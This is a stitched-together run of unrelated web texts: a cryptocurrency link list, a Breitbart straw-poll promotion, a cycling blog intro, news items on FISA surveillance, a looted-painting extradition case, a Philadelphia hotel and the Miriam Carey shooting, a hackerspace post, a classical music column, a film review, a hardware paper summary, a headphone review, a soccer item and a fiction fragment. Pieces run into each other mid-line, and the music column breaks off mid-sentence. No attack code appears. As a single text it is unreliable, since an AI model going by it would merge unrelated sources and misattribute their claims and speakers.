AidCoin: https://www.aidcoin.co/
Ethereum Italy: http://www.ethereum-italia.it/
Join our community on telegram: https://t.me/aidcoincommunityFor too long, Washington’s out-of-touch permanent political class has yawned at the wishes of conservatives and Tea Party members.
No more. Introducing the monthly Breitbart Primary 2016 Online Straw Poll.
This is your chance to shape the contours of the 2016 presidential election each month by selecting your top 3 candidates for the Republican Presidential Primary.
Voting is fast and simple. Go to: at www.breitbart.com/primary and select your top three presidential picks from the Republican primary field:
Sen. Ted Cruz (R-TX)
Sen. Rand Paul (R-KY)
Sen. Marco Rubio (R-FL)
Dr. Ben Carson
Carly Fiorina
Gov. Mike Huckabee
Sen. Rick Santorum
Gov. George Pataki
Sen. Lindsay Graham
Gov. Rick Perry
Gov. Jeb Bush
Gov. Chris Christie
Gov. Bobby Jindal
Gov. John Kasich
Donald Trump
Gov. Scott Walker
Gov. Mitt Romney
At the end of each month, Breitbart News will publish the results, reset the poll, and give you a chance to vote again to reflect the presidential race’s ever-changing dynamics.
“In just three days we’ve seen overwhelming participation by our astute and passionate readers,” said Breitbart Editor in Chief Alex Marlow. “Our goal is to amplify–and quantify–the voices of our informed and engaged audience as the 2016 run for the White House unfolds.”
To vote right now, click here (www.breitbart.com/primary) and select your top three GOP presidential picks.This post is about my second Dirty Kanza 200 experience on June 3, 2017.
Intro
Last year’s was chronicled here: 2016 Dirty Kanza. I made enough mistakes to compel another go at it.
This year’s story follows and is broken into seven:
Part I – Prep / Training
Part II – Preamble
Part III – Starting Line
Part IV – Checkpoint One
Part V – Checkpoint Two
Part VI – Checkpoint Three
Part VII – Finish Line
Tonight we ride, right or wrong
Tonight we sail, on a radio song
Rescue me, should I go down
If I stay too long in trouble town
Now and again I get the feeling
Well if I don’t win, I’m a gonna break even
Rescue me, should I go wrong
If I dig too deep, if I stay too long
Tom Petty, You Wreck MeSen. Mark Udall (D-CO) on Friday called on Congress to amend legislation that authorized dragnet-style warrantless wiretapping by the National Security Agency.
The FISA Amendments Act of 2008 gave the government broad powers to monitor international phone calls and emails, and granted legal immunity to telecommunication companies that had participated in the the Bush administration’s wiretapping program prior to 2008. The law was set to expire in 2012. However, the Senate Select Intelligence Committee in May approved the FAA Sunsets Extension Act to extend the law for another five years.
“I opposed the committee’s decision to approve a long-term extension of the federal government’s warrantless surveillance program, because I believe that Congress and the American people need a better understanding of how the program has affected the privacy of American citizens – in particular, an estimate of how many Americans have had their phone calls and e-mails collected under this law,” Udall said.
“Absent this understanding, Congress should not simply extend the law for five years without changes. The FISA Amendments Act has yielded important intelligence and should be continued, but we need more information about its impact so that Congress can consider whether privacy protections should be clarified or strengthened. I also believe we need to put in place new protections against warrantless searches for Americans’ communications.”
The Foreign Intelligence Surveillance Act (FISA) was originally enacted by Congress to prevent the worst abuses of the Nixon administration from ever occurring again. The law established the FISA court, which regulates the government’s conduct of intelligence surveillance inside the United States and generally requires the government to seek warrants before monitoring communications.
But civil liberties advocates have warned the FISA court has become an informational black hole. Since the FAA passed act passed, the FISA court has continued to operate in complete secrecy with greatly enhanced authority to approve dragnet-style surveillance, yet it has released less than two pages of information on their activities every year since.
In committee, Udall and Sen. Ron Wyden (D-OR) proposed requiring an Inspector General (IG) audit to estimate the number of people inside the United States who have had their communications reviewed. They also pushed to restate that the law may not be used to intentionally acquire the communications of U.S. persons without a warrant. But neither amendment to the FAA Sunsets Extension Act of 2012 was approved.
With prior reporting by Stephen C. Webster
[Digital surveillance image via Shutterstock]NEW YORK (Reuters) - A Russian art dealer accused by Polish authorities of illegally possessing an 18th-century painting stolen during World War II by Nazi Germany is challenging his extradition from the United States.
Alexander Khochinskiy, 64, filed papers late on Thursday in a federal court in Manhattan seeking to dismiss an extradition complaint that formed the basis of his arrest in New York in February.
Since 2012, Polish authorities have sought Khochinskiy’s arrest for unlawfully acquiring “Girl with a Dove,” a 1754 painting by Antoine Pesne, according to court papers.
They say the painting, which was cataloged in 1931 by the Wielkopolska Museum in the Polish city of Poznan, was taken during a looting by the German Third Reich in 1943.
The painting was found by the Russian Army in 1945, where it became part of a repository of the former Soviet Union, the extradition complaint said.
It is one of 63,000 pieces that the Polish Ministry of Culture and National Heritage says were lost in World War II.
A judge in Poznan ordered Khochinskiy’s arrest in 2012. U.S. authorities arrested Khochinskiy, who now lives in an apartment in Manhattan, on Feb. 26. He was later released on a $100,000 bond.
In the court papers filed on Thursday, Khochinskiy’s lawyers argued that the alleged offense was not an extraditable one and instead reflected a “complex international civil ownership dispute.”
They said he had initiated contact with Poland about selling the painting in 2010 after learning the country believed it was looted.
Under Russian law, his lawyers say he became the legal owner of the painting after inheriting it from his father, who hung the painting for years in his apartment in Leningrad and died in 1991.
While Khochinskiy was open to negotiating with Poland, his lawyers said he faced legal hurdles as the painting remained in Russia, which they say prohibits exporting cultural valuables obtained from Germany and its allies during the war.
Under Russian law, Khochinskiy can only convey the painting to Poland if it offers fair compensation and Russia authorizes it, his lawyers said.
“There is not a crime here; there is only a failed negotiation,” his lawyers wrote.
U.S. District Judge Jed Rakoff has scheduled arguments on Khochinskiy’s motion for May 8.
A spokeswoman for Manhattan U.S. Attorney Preet Bharara, whose office is handling the extradition, declined to comment.In a historic event, the two lights that sit atop the Divine Lorraine Hotel glowed over North Philadelphia once again Wednesday night despite the rain.
EB Realty Management, the hotel turned apartment building's Realtor, held a block party-style celebration to kick off the event, postponed numerous times since it was initially scheduled in September.
The Divine Lorraine was once a grandiose, 19th-century hotel that's being renovated by developer Eric Blumenfeld and Billy Procida, CEO of Procida Funding & Advisors, into a mixed-use facility that will have 100 residential units, retail space and a restaurant on its ground floor. Redevelopment of the project began in September 2015.
Wednesday night's event began at 4 p.m. until about 9 p.m. Proceeds benefitted Big Brothers Big Sisters SEPA, according to Marie Assante, a spokesperson for the event.
Thom Carroll/PhillyVoice The sign on the historic Divine Lorraine Hotel was lit Wednesday, Nov. 9, for the first time since the redevelopment of the building began.
Thom Carroll/PhillyVoice Although attendance was light, many people came out and made the best of the situation despite the rain.
Thom Carroll/PhillyVoice The signs were lit slightly after 6 PM on Wednesday, Nov. 9.
Thom Carroll/PhillyVoice As part of the events block party, a row of food trucks, a beer garden, and various other vendors lined Melon St., which borders the Divine Lorraine to the south.
Thom Carroll/PhillyVoice Marcus Allen, Chief Executive Officer of Big Brothers Big Sisters spoke at the event, Wednesday, Nov. 9, 2016.
Thom Carroll/PhillyVoice Also in attendance was former Eagles running back, Herb Lusk.The family of Miriam Carey, who led police on a rampaging car chase from the White House to the Capitol before being shot dead by police on Thursday, says the 34-year-old dental assistant had problems, but posed no real threat to anybody.
The deadly shot came after Ms. Carey, with her one-year-old daughter in the back of her black Infinity coupe, crashed into White House barricades, sideswiped at least two police cars, crashed into gates at the Capitol, and then stepped out of her car.
Diagnosed with mental health issues, Carey had told friends she believed President Obama was stalking her. She was supposed to have been in Brooklyn on the day she rammed the White House gate.
The tragic shooting, which came during a particularly tense week in a capitol recovering from the Navy Yard mass shooting and as leaders argued about how to end a partial government shutdown, has shined a light on what some say is a troubling progression in “shoot-to-kill” police protocol.
The Columbine High School killings in 1999 and the terrorist attacks on New York and Washington two years later dramatically changed US police shoot-to-kill procedures. In the case of active shooters, police no longer wait to muster backup, but are told to charge after shooters and disable or kill them as soon as they can.
In bomb-sensitive Washington, the Capitol Police in 2004 toughened their shoot to kill protocol in the cases of suspected suicide bombers, demanding officers not wait to shoot.
On Friday, Carey’s family said she was neither a suicide bomber nor an active shooter, and thus the decision to shoot her was unnecessary. They also faulted police procedures, saying officers had a chance to stop Carey without killing her, and should have been more careful given there was a child in the car. It’s not known if officers knew about the child, who was uninjured.
“Deadly force was not necessary,” said Carey’s sister, Valerie Carey, a retired New York Police Department sergeant. “They could have rammed the car or disabled the car.”
"My sister could have been any person traveling in our capital," she added. "Deadly physical force was not the ultimate recourse and it didn't have to be."
Some criminal justice experts disagree.
Maki Haberfeld, a criminologist at John Jay College of Criminal Justice in New York, told CNN that police couldn’t have known whether Carey posed a threat or not.
"We live in times of heightened alert as far as terrorist activities are concerned," she told the Atlanta-based cable news organization. "The fact that she was not displaying a gun doesn't mean anything, because bombers don't necessarily display anything. They have the explosives around their waist, usually.”
The new protocols are understandably disconcerting to police, David Klinger, a cop turned university criminologist, told the Atlantic magazine. Using deadly force has historically not been the first thought for American police officers, “but now they have to contemplate it … We’re going to have to come to the conclusion in our society that in some situations the police need to shoot people.”
The Capitol Police internal affairs unit is investigating the shooting. The main issues are likely to be whether police thought Carey had a bomb and whether they gave any warning to Carey that they were going to shoot.
The International Association of Chiefs of Police in 2005 issued standards for how to deal with suspected suicide bombers, where officers are not required to wait until threat is imminent before firing. Since 2004, the US Capitol Police have been trained to shoot suspected bombers who refuse to stop and be searched.
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The Supreme Court, meanwhile, ruled in Tennessee v. Garner that it’s not an unreasonable reading of the US Constitution to allow officers to shoot if they have a serious suspicion that the suspect intends to do serious physical harm. The court said warning should be given “where feasible.”
By the time Carey was shot and killed, she had already hurt two police officers – a secret service officer struck by her car as she raced away from the White House, and a Capitol Police officer who was injured when his squad car struck a barricade during the mile-and-a-half chase.Hi,
people that know me, probably also know that I have founded a so called hackerspace in my local town last year. Actually, I founded it with my good friend Albert Frisch, and with all the help from my friends and family.
Before I go into what a hackerspace actually is, I will explain why we decided that we absolutely need to have one, and therefore started that effort.
It all started out with my working on my own Open Source Video Editing Software. Which was actually inspired by my bodybuilding and weightlifting brother doing amateur movie projects, and myself being quite a Linux enthusiast and running a local Linux User Group.
But I digress, my involvement into the Linux Video Community brought me one day to the Piksel Festival for Open Source and electronic arts. There I made a couple of quite life changing experiences.
You might have never been to an arts festival like this, so I have to try my best to describe what I experienced there. However, I am afraid to really make sense of it, you have to experience this yourself.
When you bring a number of very creative people from all over the world into one place, and they all mingle, work concurrently on all kinds of ideas, play, experiment, etc. something special happens. You have to imagine, artists can be quite open about what they are doing, and they are not afraid to try all kinds of things that might be dangerous, pointless, useless, interesting, fun, chaotic, complex, indecipherable, etc.
For example, there is the practice of “circuit bending”, which is taking apart electronic toys, essentially destroying them, and trying to connect cables that weren’t meant to be connected, just to find out, what sounds it might make.
And now imagine a whole festival where everyone is interacting and participating, doing stuff you are not ought to do. This creates kind of a bubble, a little place where everything is possible, where everything is allowed. Nobody is afraid anymore of screwing up, because essentially everyone else is screwing up already. This is a very good feeling, and it is an atmosphere where things just start to happen.
So I started thinking, determined to take that good feeling home with me, and share it with everyone I know. And I realized that there are actually places where people that are coming to events like Piksel gather. There are media labs, and artists workshops and communities all around the globe.
And the Hackerspace Zeitsparwerk is the result of that determination, its our little bubble of freedom and unlimited creativity.
Here is a video where I demonstrate a climbing wall that was built in our hackerspace:
Have fun
Cheers
-RichardHAVE YOU bought a DVD lately? Does it have deleted scenes, out-takes, documentaries of any kind, interviews with the main players? There’s a fair chance it does, even if it’s not one of those special editions that’s loaded with add-ons on an extra disc. And the reason is pretty obvious – people love getting on the inside track.
Okay, so some of the extras are essentially commercial packages, promotional material, pure and simple. But sometimes they’re not. Take the interviews that Criterion provided in its set of French director Eric Rohmer’s Moral Tales. These are extraordinarily revealing documents, not readily available elsewhere. The context setting for another Criterion issue, Robert Altman’s Secret Honor, a one-man tour-de-force featuring Philip Baker Hall as Richard Nixon, makes an extraordinary film and performance seem even more exceptional.
In terms of behind-the-scenes revelations, the world of film is streets ahead of classical music, which tends to maintain a very sober front, whether in concert, on disc or on video. There are exceptions, of course, not least when accidents occur. I once heard BBC Radio 3 broadcast a studio recording of a well-known early keyboard specialist playing a particular passage again and again, between discussions with the producer. It wasn’t intended to be that way. Somehow, the necessary editing never got completed. RTÉ Lyric FM broadcast a feature in which the to-ing and fro-ing about minutiae of French pronunciation between producer and presenter got transmitted to the world rather than consigned to the editing floor.
There’s the famous Leonard Bernstein/Glenn Gould contretemps, in which Bernstein made a speech from the stage dissociating himself from the interpretative approach that was going to be adopted by Gould in their performance of Brahms’s First Piano Concerto. The concert took place in 1962, and the performance achieved an “official” release in 1998. In another, more recent conductor/pianist falling-out, Claudio Abbado and Hélène Grimaud cancelled performances they were to give together on the basis of “artistic differences”.
As a student, I did some page-turning for recordings of chamber music and song for RTÉ radio, soaking up the details of the procedures and marvelling at the distinctions between the process and the final product. I particularly cherish a memory of a faulty studio connection, which in those pre-digital days caused the return signal for an echo effect to add nothing musical to the mix, but delivered instead the live commentary from the day’s racing at Leopardstown. What wouldn’t the music-lovers of today give to hear genuine rejected takes from the great and the good of the recording world, the versions that nearly made it into the final edit, and perhaps a discussion of the reasons that they didn’t. The pre-digital, pre-LP era of 78rpm recordings, where the matrix numbers document which take was used, leave fascinating hints.
In those days, recordings were made one four-minute side at a time. If there was a fault, the whole four minutes had to be done again. Rachmaninov set down his Third Symphony with the Philadelphia Orchestra without going beyond a second take, and most of his notoriously difficult Third Concerto was done in single takes (one side went to a second take, one to a third).
But when working with Fritz Kreisler on Grieg’s Third Violin Sonata, each side was done five times, and in the finale of Beethoven’s Sonata in G, Op 30 No 3, they had seven goes at the Finale. And when Rachmaninov recorded his most famous piece, the Prelude in C sharp minor, in 1928, he did it no less than 23 times. What was going on that day? Modern recordings, sadly, don’t even divulge as much as we know about Rachmaninov.
* WHAT GOTme thinking of classical music’s shyness, its concentration on presenting a front of unfazed perfection was the National Chamber Choir’s decision to present a lunchtime open rehearsalat the Mahony Hall of The Helix last Friday. Rehearsals can be revelatory, even ones where the public is allowed to eavesdrop and the performers know that they are effectively on the record. I have cherished memories of watching Stockhausen at work in the Barbican, bringing his spatially acute ear to bear on minute details of balance in his early electronic masterpiece Gesang der Jünglinge(written for five-track tape in the mid-1950s), or hearing Mariss Jansons balance offstage effects in one of his recordings of Respighi with the Oslo Philharmonic Orchestra, or witnessing Michael Tilson Thomas worry over minute details in Mahler’s Eighth Symphony with the San Francisco Symphony.
Rehearsal is, among other things, a process to secure the avoidance of failure. It’s inevitable that failures will crop up. Having the chance to see how they are dealt with, eliminated or forestalled, can be profoundly illuminating.
The NCC’s conductor, Paul Hillier, drew his rehearsal listeners into |
faced with a faceless enemy of unknown origin, our determined but growingly panicky antihero is forced to act viciously and swiftly as he watches his kingdom crumbling down bit by bit.
The Long Good Friday was obviously about the transformation of the East End. The Bob Hoskins character was talking about the end of the Docks and mile after mile of territory for “profitable progress”—I think that was his phrase. I saw the film again about five years ago and it has a scene showing this model of how the area would look under the developers. It underestimated it completely—it ought to have shown Canary Wharf looking like Manhattan. Looking at it, I was taken by the fact that none of us had foreseen the enormous scale of change.
Possessing a violent sense of humor, exhibiting passionate, career defining performances from both Hoskins and his gun moll, the beautiful Helen Mirren, offering a stunningly deep and compassionate portrait of the main character, The Long Good Friday is an engaging, entertaining and utterly absorbing piece of filmmaking that has every right to be considered a highlight of British moviemaking of this type. Its feverish momentum holds you firmly in its grip, its powerful music makes the story sink in more efficiently, its acting completely wins you over and creates the impression you’re given nothing less than precious insight into real people and their very real problems. Hoskins’ character is a deeply complex one—you see him act savagely, brutally and without a trace of remorse, but then again, a few moments later an image of his joking around with the neighborhood kids or an intimate scene with his mistress turn the tables around and he suddenly seems like an approachable guy easy to understand and relate to, or even show sympathy for.
It’s not only Hoskins to thank for this: former journalist Barrie Keefe’s script is constructed so competently it doesn’t strike us as pretentious to compare it to the best works within the genre. The British Godfather, you say? When a film has a combination of talent this impressive, and a firm legacy to testify to its greatness three decades upon release—why not?
The seeds were planted then; it was a very fertile time, just before the end of the Krays’ empire, and a lot of my plays, and some of the incidents in The Long Good Friday, came from my experiences. For instance, one of the gangland punishments, if you strayed into someone else’s territory, was to crucify you to the warehouse floor. As a very innocent junior reporter, a young 18, I was sent to interview a guy in hospital. He was covered in bandages and I asked him what had happened. He said, with that wonderful East End humour, “Do you understand English, son? Well, put it down to a do-it-yourself accident.” —Barrie Keeffe on The Long Good Friday
A monumentally important screenplay. Dear every screenwriter/filmmaker, read Barrie Keeffe’s screenplay for The Long Good Friday, originally called The Paddy Factor [PDF]. (NOTE: For educational and research purposes only). The DVD/Blu-ray of the film is available at Amazon and Arrow Films (Limited Edition). Absolutely our highest recommendation.
Cast and Crew: The Long Good Friday brings together John MacKenzie, Barrie Keeffe, Barry Hanson, actor Derek Thompson, casting director Simone Reynolds to discuss the film, its making and its legacy. There are also interviews from Bob Hoskins and Helen Mirren. Watching Keeffe and MacKenzie around a table together, there is still the crackle of creative tension, as writer and director both lay claim to the film’s success. —Documentary on the making of the The Long Good Friday
Open YouTube video
Another documentary about the making of The Long Good Friday, including interviews with John Mackenzie, stars Bob Hoskins, Helen Mirren, Pierce Brosnan, producer Barry Hanson and Phil Meheux.
Bob Hoskins hand-signed and dedicated picture to Ronnie Kray and sent to him whilst he was at Broadmoor mental asylum.
Neon Magazine’s Flashback 1981: The Long Good Friday.
Here are several photos taken behind-the-scenes during production of John Mackenzie’s The Long Good Friday. Still photographer: Ken Wainman © Embassy Pictures. Intended for editorial use only. All material for educational and noncommercial purposes only.
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EmailTyped Architectures: architectural support for lightweight scripting
Typed Architectures: architectural support for lightweight scripting Kim et al., ASPLOS’17
JavaScript, Python, Ruby, Lua, and related dynamically typed scripting languages are increasingly popular for developing IoT applications. For example, the Raspberry Pi is associated with Python; Arduino and Intel’s Galileo and Edison are associated with JavaScript. In these constrained hardware environments though, using JITs is often not viable so scripting engines employ interpreter based VMs without JITs. Thus for production grade applications, scripting languages may be too slow.
Dynamic types are one of the major sources of inefficiency for scripting languages… each variable must carry a type tag, and a type guard must be executed before any operation that can be overloaded. This significantly increases dynamic instruction count, memory footprint, and hence energy consumption, compared to statically typed languages.
A recent study showed that around 25% of total execution time in the V8 JavaScript engine is spent on dynamic type checking. Back in the 1980s, LISP machines such as the Symbolics 3600 provided hardware support for runtime type checking. Could we do something similar for dynamically typed languages today?
It turns out that yes we can. Kim et al. introduce Typed Architectures, “a high-efficiency, low-cost execution substrate for dynamic scripting languages.”
Typed Architectures calculate and check the dynamic type of each variable implicitly in hardware, rather than explicitly in software, hence significantly reducing instruction count for dynamic type checking.
An FPGA-based evaluation showed geomean speedups of 11.2% and 9.9% (max speedups 32.6% and 43.5%) for production grade JavaScript and Lua scripting engines respectively. And all this with a 16%-19% improvement in energy-delay product.
Which all goes to prove you can optimise all you like in software, but at the end of the day it’s hard to beat hardware! What’s especially neat about Typed Architectures is that the authors seem to have found a nice sweet spot whereby the hardware support is general enough to efficiently support a wide range of dynamically typed languages.
The overhead of dynamic typing
With dynamic typing, values are tagged with their type, and these type tags are checked when dispatching operations (e.g., a polymorphic ADD operation must be dispatched to type-specific implementations).
The overhead of dynamic type checking is known to be significant.
Here’s a breakdown of dynamic bytecodes in 11 Lua scripts. Lua has 47 distinct bytecodes, but less than 10 dominate the total count.
If we drill into the five most popular bytecodes, we can see the number of dynamic instructions per bytecode for each of these:
These five bytecodes are all polymorphic and require type guards to select the right function depending on the operand types.
Dynamic typing overhead can be broken down into three components: tag insertion (adding tags to values), tag extraction (getting tags for values), and tag checking. The following example of a polymorphic add function in Lua (with corresponding Lua bytecode and RISC-V assembly code) makes the point pretty well.
(Click to enlarge)
Typed Architectures – ISA extensions
The three primary design objectives for Typed Architectures are:
High performance – significant speedups by offloading type checking operations to hardware
Flexibility – the ISA extension should be flexible enough to support multiple production grade scripting engines
Low cost – in terms of area and power
The baseline RISC ISA is extended with a unified register file, tagged ALU instructions, and tagged memory instructions.
The register file gains two new fields (in addition to the existing register value field): an 8-bit type tag (capable therefore of representing 256 distinct types), and a 1-bit flag indicating whether the value is of an integer or floating-point subtype.
There are three new tagged ALU instructions, xadd, xsub, and xmul which perform type checking in parallel with value calculation. A Handler register is used to handle type mispredictions.
When a tagged ALU instruction is executed, Typed Architecture looks up in a Type Rule Table with the two source type tags and the instruction’s op-code as the key. If it hits, the pipeline executes normally to write back the output type tag retrieved from the Type Rule Table together with the output value to the destination register. If not, a type misprediction has happened, and the PC is redirected to the slow path pointed to by the handler register to go through the original software-based type checking.
The Type Rule Table itself is pre-loaded at program launch.
There are two new instructions for memory operations: tld (tagged load) and tsd (tagged store). These load / store a requested value together with its type tag and integer/FP flag bit in a single operation.
A type tag is extracted from an adjacent 64-bit double-word (or the same double-word as the value) by applying shift-and-mask.
Three new registers control the shift-and-mask process: an offset register indicates which double word the tag will be extracted from, a shift register encodes the starting point of the type field within the double work, and the mask register holds an 8-bit mask to extract a type tag of the same width.
There are four additional instructions we’ve not yet mentioned:
thdl sets the value of the misprediction handler register
sets the value of the misprediction handler register tchk performs type checking without value calculation
performs type checking without value calculation tget reads the type of a register
reads the type of a register tset writes the type of a register
Using our new super powers, here’s how the original ADD bytecode from above is transformed:
Here’s the full summary of the extended ISA:
(Click for larger view).
Typed Architectures – Pipeline
The extended ISA is implemented with a pipeline structure that looks like as follows:
We add a unified register file, a Type Rule Table, and a tag extract/insert logic to the baseline (shaded in gray).
The execution of, say xadd, differs from a static add instruction in three ways:
It selects the calculation path (integer ALU or FP ALU) at the decode stage It accesses the Type Rule Table for type checking in hardware. If it hits, the output tag is propagated to the writeback stage and finally to the type tag of the destination register. If not, it goes through the type misprediction path. There are type mispredictions with tagged ALU instructions. The handler is simply the original code with software-based type checking.
Typed Architectures – Memory access
The data layouts for storing tag-value pairs differs across languages and implementations. The three special purpose registers controlling the shift-and-mask operation can be customised per language to obtain the desired behaviour. As an example, here are the register settings for Lua and SpiderMonkey (FireFox JavaScript engine).
Implementation and evaluation
For both Lua and SpiderMonkey, bytecode profiling is used to identify the top five hot bytecodes which execute type guards. These are then retargeted to Typed Architecture.
Our model is based on open-source 64-bit RISC-V v2 Rocket core with the default RISC-V/Newlib target. We have integrated custom performance counters for performance analysis, such as I-cache miss rate, branch misprediction rate, and so on. It is a fully synthesizable RTL model written in Chisel language. This model is compiled into Verilog RTL, and then synthesized for FPGA emulation and area/power estimation. We use Xilinx ZC706 FPGAs for instruction and cycle counts. Table 6 (below) summarizes the parameters used for evaluation.
Here we see the overall speedups obtained for Lua and JavaScript across a range of benchmarks:
Typed Architecture achieves geomean speedups of 9.9% and 11.2% for Lua and SpiderMonkey, respectively, with maximum speedups of 43.5% and 32.6%.
A key source of performance improvement is the reduction in dynamic instruction count.
Type Architecture also reduces resource pressure on the branch predictor, instruction cache, registers, and so on. “This also brings significant benefits to some benchmarks.”
The total area and power of Rocket Core augmented with TypedArchitecture are increased by 1.6% and 3.7% respectively. Combined with the speedups, the EDP (energy-delay product)is improved by 16.5% for Lua and by 19.3% for JavaScript.Share
Previous Next 1 of 15 Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends Kyle Wiggers/Digital Trends
Ora, a Montreal-based startup Gaskell co-founded with Sergii Tutashkonko — who holds a Ph.D. in material science — wants to be the first to market with graphene-based headphones. Gaskell, who holds a Ph.D. himself in audio recording, stopped by Digital Trends’ New York office to demo his new creation ahead of the company’s crowdfunding campaign on Kickstarter. They’re tentatively dubbed the GrapheneQ Headphones, and spoiler alert, they sound pretty fantastic.
Stronger, lighter, faster
Graphene is a highly conductive, flexible, and strong material made of latticed carbon atoms bonded in a hexagonal pattern (read our guide to Graphene). Scientists theorized its structure in the 1940s, but didn’t managed to isolate a layer until decades later, in 2004. Since then, it’s been used in new ways as an amazing conductor of electricity.
But it’s good for more than conducting electricity. Graphene has been proposed for use in applications like detecting cancer, filtering water, and heating your home because it’s a stiffer, lighter, and thinner material than comparable composites. Lucky for us, these are all characteristics which have an impact on sound. It’s all about physics: Traditional dynamic drivers, also called moving coil drivers, use an electrically charged voice coil to move a cone, which in turn creates sound waves. The heavier a speaker’s cone, the harder is to drive. With their incredible strength-to-weight ratio, graphene drivers cut down on the amount of power that’s required to move the coil back and forth, creating better efficiency, and in theory, better sound.
They feel reassuringly durable in the hand.
The drivers Ora has made for its new headphones aren’t made of pure graphene, however. Instead, Ora opted for a hybrid approach it calls GrapheneQ, an oxide compound that employs nanotechnology to deposit flakes of graphene into thousands of layers that are bonded together. Ora says the resulting GrapheneQ compound is 95 percent graphene by weight, and highly malleable, which makes it comparatively easy to mass produce.
It’s also the key to the GrapheneQ Headphones’s affordability, priced at just $200 for the first few hundred backers, as GrapheneQ can be produced for a fraction of the cost of traditional graphene. Ora claims the frequency response is on par with CVD-Diamond, a high-end membrane that costs upwards of ten times Ora’s compound. The company also claims its design reduces power consumption by up to 70 percent.
The cans
The GrapheneQ Headphones themselves are over-the-ear, wood-accented cans featuring lambskin leather, premium fabric, and memory foam. They feel reassuringly durable in the hand, with a cup length adjustment mechanism along the band that locks firmly in place. With the exception of the ear cups, which have so much padding they hugged our face a bit too tightly, the GrapheneQ are exceptionally comfortable to wear.
Kyle Wiggers/Digital Trends
They offer Bluetooth wireless connection, with intuitive touchpad controls and a microphone for hands-free phone calls built in. Along with Bluetooth, you can plug in via a removable 3.5mm cable, and you can also connect to a PC or other device via USB-C. Battery life has not yet been disclosed, but thanks to graphene’s high efficiency it’s expected to be extremely long — possibly even disruptive.
The sound
Before we slipped on a pair, Gaskell had us listen to two black, nondescript bookshelf speakers set side-by-side — one equipped with Ora’s GrapheneQ driver, and one with an off-the-shelf alternative. The differences were subtle, but in genres like classic rock and classical, the GrapheneQ model’s reproduction of vocals and strings respectively exhibited more clarity and detail than its non-graphene counterpart.
Kyle Wiggers/Digital Trends
In the case of the headphones, the contrast was a lot starker. After comparing them to our $300 BeoPlay H6 headphones, we walked away very impressed. In fact, the GrapheneQ served up some of the clearest, most consistent sound we’ve heard at their price point. To be fair, we tested a pre-production model — a lot could change between now and when the headphones begin shipping next year. But our initial experience with the GrapheneQ Headphones was extremely promising.
Graphene in your pocket
While the GrapheneQ Headphones serve as an entry point, Ora says headphones are just the beginning. The company is in talks with automotive, speaker, and cellphone companies to produce custom graphene solutions for cars, smartwatches, phones, and more. It’s working with hearing aid makers on louder units that last longer on a single charge, and it has also partnered with virtual reality headset companies to develop graphene-based headphones optimized for spatial audio.
“We’re applying our expertise in nanotechnology to push the fundamental limits of speaker technology.”
Ora is particularly bullish on the smartphone industry, where it thinks applying GrapheneQ tech could result in smaller, low-power speakers that sound better than those mounted in your current smartphone. The company goes so far as to say that six cell phone manufacturers — including “the top two in the world” — have experimented with incorporating GrapheneQ (the top two smartphone makers in the world are Samsung and Apple).
“We’re applying our expertise in nanotechnology to push the fundamental limits of speaker technology,” Gaskell said. “From inception, [we’ve] taken an industry-driven approach to design, manufacturing, and materials development.”
To that end, Ora is taking pains to manage expectations with the GraphenQ Headphones. It’s specifying a two-month delivery buffer window, and setting aside inventory for early adopters.
“We are confident as possible that we will not only achieve our vision of professional sound through nanotechnology, but that we will deliver [it] on time,” he said.
The GrapheneQ launches on Kickstarter June 20, with retail availability to follow in March 2018. The first several hundred backers can reserve a pair for $200, but Ora’s anticipating a suggested retail price between $500 and $600.China criticized Mitt Romney on Tuesday, saying that the United States presidential candidate's statement that Jerusalem is the capital of Israel could worsen an already tense Middle East situation, or even re-ignite a war between Palestinians and Israelis.
A commentary Tuesday by the official Xinhua News Agency said Romney's "hawkish remarks" ignored the sensitive nature of Jerusalem. It said the comments disregarded the Palestinians' claim to the war-won eastern sector of the city, which was annexed by Israel in 1967 in a move that is not internationally recognized.
Romney also suggested during a trip to Israel that he was open to move the U.S. Embassy from Tel Aviv to Jerusalem, something the Israelis have long sought but the U.S. has refused to do because it would imply recognition of Israeli sovereignty over the entire city.
"Romney's remarks totally neglect historical facts and are actually irresponsible if he just meant to appeal to voters at home," Xinhua said. Romney, who was on an overseas trip that also included stops in Britain and Poland to bolster his image ahead of the election, has previously upset some in China by threatening tougher action on Beijing in trade disputes if he is elected president.
Xinhua said Romney's "radical words" on Israel were aimed at winning over U.S. Jewish voters in the presidential election in November, adding that the "status of Jerusalem will not be resolved until a comprehensive solution is found to the Israeli-Palestinian conflict."
Palestinians said Romney didn't understand the complexities of one of the world's most intractable conflicts. Palestinian critics accused Romney of snubbing the Palestinians' president, dismissing their claims to Jerusalem and suggesting their culture is inferior to Israel's.
Mitt Romney in Jerusalem. AFPNew York City FC has six players — including two DPs — on their burgeoning roster.
On December 10th, they will have some added company.
The Orlando Sentinel reports both general manager Paul McDonough and coach Adrian Heath confirmed the December date for the league’s expansion draft. Orlando City SC and NYCFC will be the lone participants as each begins the process of putting together an MLS side.
As is customary, MLS teams will submit a list of protected players at seasons end (this year, that date is set at December 8th at 2 p.m). The right to the first pick will be decided on September 24th via coin toss when both OCSC and NYCFC officials meet in New York.
Currently, NYCFC boast world stars David Villa and Frank Lampard, along with MLS stalwarts Josh Saunders, Jeb Brovsky, Andrew Jacobson and Kwame Watson-Siriboe. Not to be outdone, Orlando will feature the world-renown Kaka in their midfield and have retained the services of Darwin Ceren, Kevin Molina, Adama Mbengue, Luke Boden Rafael Ramos, Tyler Turner, Tommy Reading and Estrela from their USL Pro side.
Earlier this year, NYCFC head coach Jason Kreis expressed his desire to build his new MLS side through the expansion draft and the ensuing January MLS SuperDraft. It would be a clear departure from the route taken by other expansion clubs in rent years whom have used both mechanisms to bolster their trade options rather than build a competitive side.
NYCFC are still in possession of one final DP slot which they hope to fill for the new season.When Khrista Ibarolle, left the 36 Handles Irish Pub and Eatery, she had only drank a couple of glasses of Chardonnay with her girlfriend to celebrate the two’s mutual birthdays. She knew it wasn’t much of a party, but she had to get back home soon to let Anela out one last time for the night. Maybe this weekend she and her dog would go for a nice hike in the hills nearby. They both loved that.
